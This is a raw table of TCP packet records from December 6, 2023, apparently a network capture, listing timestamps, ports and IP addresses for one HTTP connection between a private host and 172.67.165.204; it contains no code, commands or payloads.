Dec 6, 2023 14:50:50.817122936 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.817132950 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.817219973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.817261934 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.817269087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.817800045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.817846060 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.817893028 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.817975044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.818018913 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.818065882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.818183899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.818228960 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.818234921 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.818341017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.818384886 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.818387985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.818876028 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.818922997 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.818945885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.819027901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.819067001 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.819077969 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.819128036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.819165945 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.819298029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.819382906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.819428921 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.819804907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.819876909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.819916964 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.819926977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.820008039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.820049047 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.820127010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.820189953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.820229053 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.820305109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.820719004 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.820780039 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.820785999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.820868015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.820916891 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.820919037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.821001053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.821043015 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.821050882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.821099997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.821141958 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.821666002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.821734905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.821777105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.821784973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.821834087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.821871996 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.821913958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.821964025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.822000980 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.822015047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.822571993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.822618008 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.822623968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.822673082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.822712898 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.822721958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.822771072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.822808981 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.822818041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.822866917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.822910070 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.823457003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.823508024 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.823550940 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.823559046 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.823610067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.823658943 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.823659897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.823709011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.823755980 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.823757887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.824398041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.824470997 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.824481964 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.824542046 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.824584961 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.824593067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.824641943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.824682951 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.824691057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.824773073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.824817896 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.825428009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.825498104 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.825546026 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.825566053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.825617075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.825658083 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.825730085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.825782061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.825828075 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.825833082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.826296091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.826347113 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.826349020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.826399088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.826442957 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.826447010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.826497078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.826539993 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.826545954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.826595068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.826639891 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.827192068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.827307940 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.827353954 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.827358961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.827408075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.827454090 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.827455044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.827505112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.827545881 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.827553034 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.827601910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.827641010 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.828309059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.828404903 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.828454018 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.828454018 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.873810053 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.892879009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.892925978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.892976046 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.892997980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.893001080 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.893019915 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.893038988 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.893044949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.893068075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.893081903 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.893091917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.893114090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.893126965 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.893835068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.893887997 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.893891096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.893942118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.893981934 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.893991947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.894042015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.894083023 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.894090891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.894140005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.894186974 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.894520044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.894573927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.894613028 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.894623995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.894674063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.894725084 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.894725084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.894777060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.894817114 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.894825935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.895479918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.895529985 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.895562887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.895601034 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.895637035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.895642042 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.895677090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.895716906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.895719051 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.895754099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.895797968 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.896368027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.896429062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.896466970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.896467924 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.896506071 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.896542072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.896542072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.896581888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.896617889 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.896617889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.897325993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.897367954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.897372961 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.897404909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.897440910 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.897440910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.902997971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903047085 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.903259039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903297901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903336048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903337955 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.903373957 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903410912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.903410912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903451920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903489113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903495073 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.903526068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903562069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903563023 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.903599024 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903635025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903636932 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.903671980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903708935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.903712988 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.904301882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.904341936 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.904347897 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.904380083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.904417038 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.904417992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.904458046 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.904493093 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.904493093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.904531002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.904573917 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.905240059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.905278921 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.905316114 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.905320883 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.905353069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.905390024 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.905399084 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.905426979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.905463934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.905469894 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.906171083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.906219006 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.906224012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.906276941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.906317949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.906327009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.906375885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.906414986 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.906424999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.906472921 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.906519890 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.907107115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.907160044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.907207966 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.907210112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.907259941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.907303095 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.907311916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.907361031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.907402039 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.907409906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.908021927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.908071041 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.908076048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.908130884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.908169031 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.908179998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.908231020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.908272028 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.908279896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.908329010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.908374071 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.908971071 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.909099102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.909142017 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.909147978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.909204006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.909243107 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.909252882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.909301996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.909339905 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.909351110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.909400940 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.909446001 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.910043001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.910094976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.910141945 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.910144091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.910197020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.910239935 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.910245895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.910296917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.910336971 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.910345078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.910964966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.911012888 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.911015987 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.911066055 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.911104918 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.911115885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.911165953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.911204100 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.911215067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.911264896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.911309004 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.911910057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.912003994 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.912044048 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.912053108 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.912101984 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.912139893 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.912149906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.912199974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.912242889 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.912251949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.912854910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.912899971 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.912908077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.912961006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.913000107 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.913009882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.913058996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.913098097 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.913108110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.913203001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.913249016 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.913778067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.913831949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.913881063 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.913925886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.913978100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.914016962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.914026022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.914074898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.914113045 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.914122105 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.914697886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.914746046 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.914751053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.914802074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.914844036 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.914855003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.914904118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.914943933 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.914995909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.915046930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.915091991 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.915617943 CET	80	49705	172.67.165.204	192.168.2.5
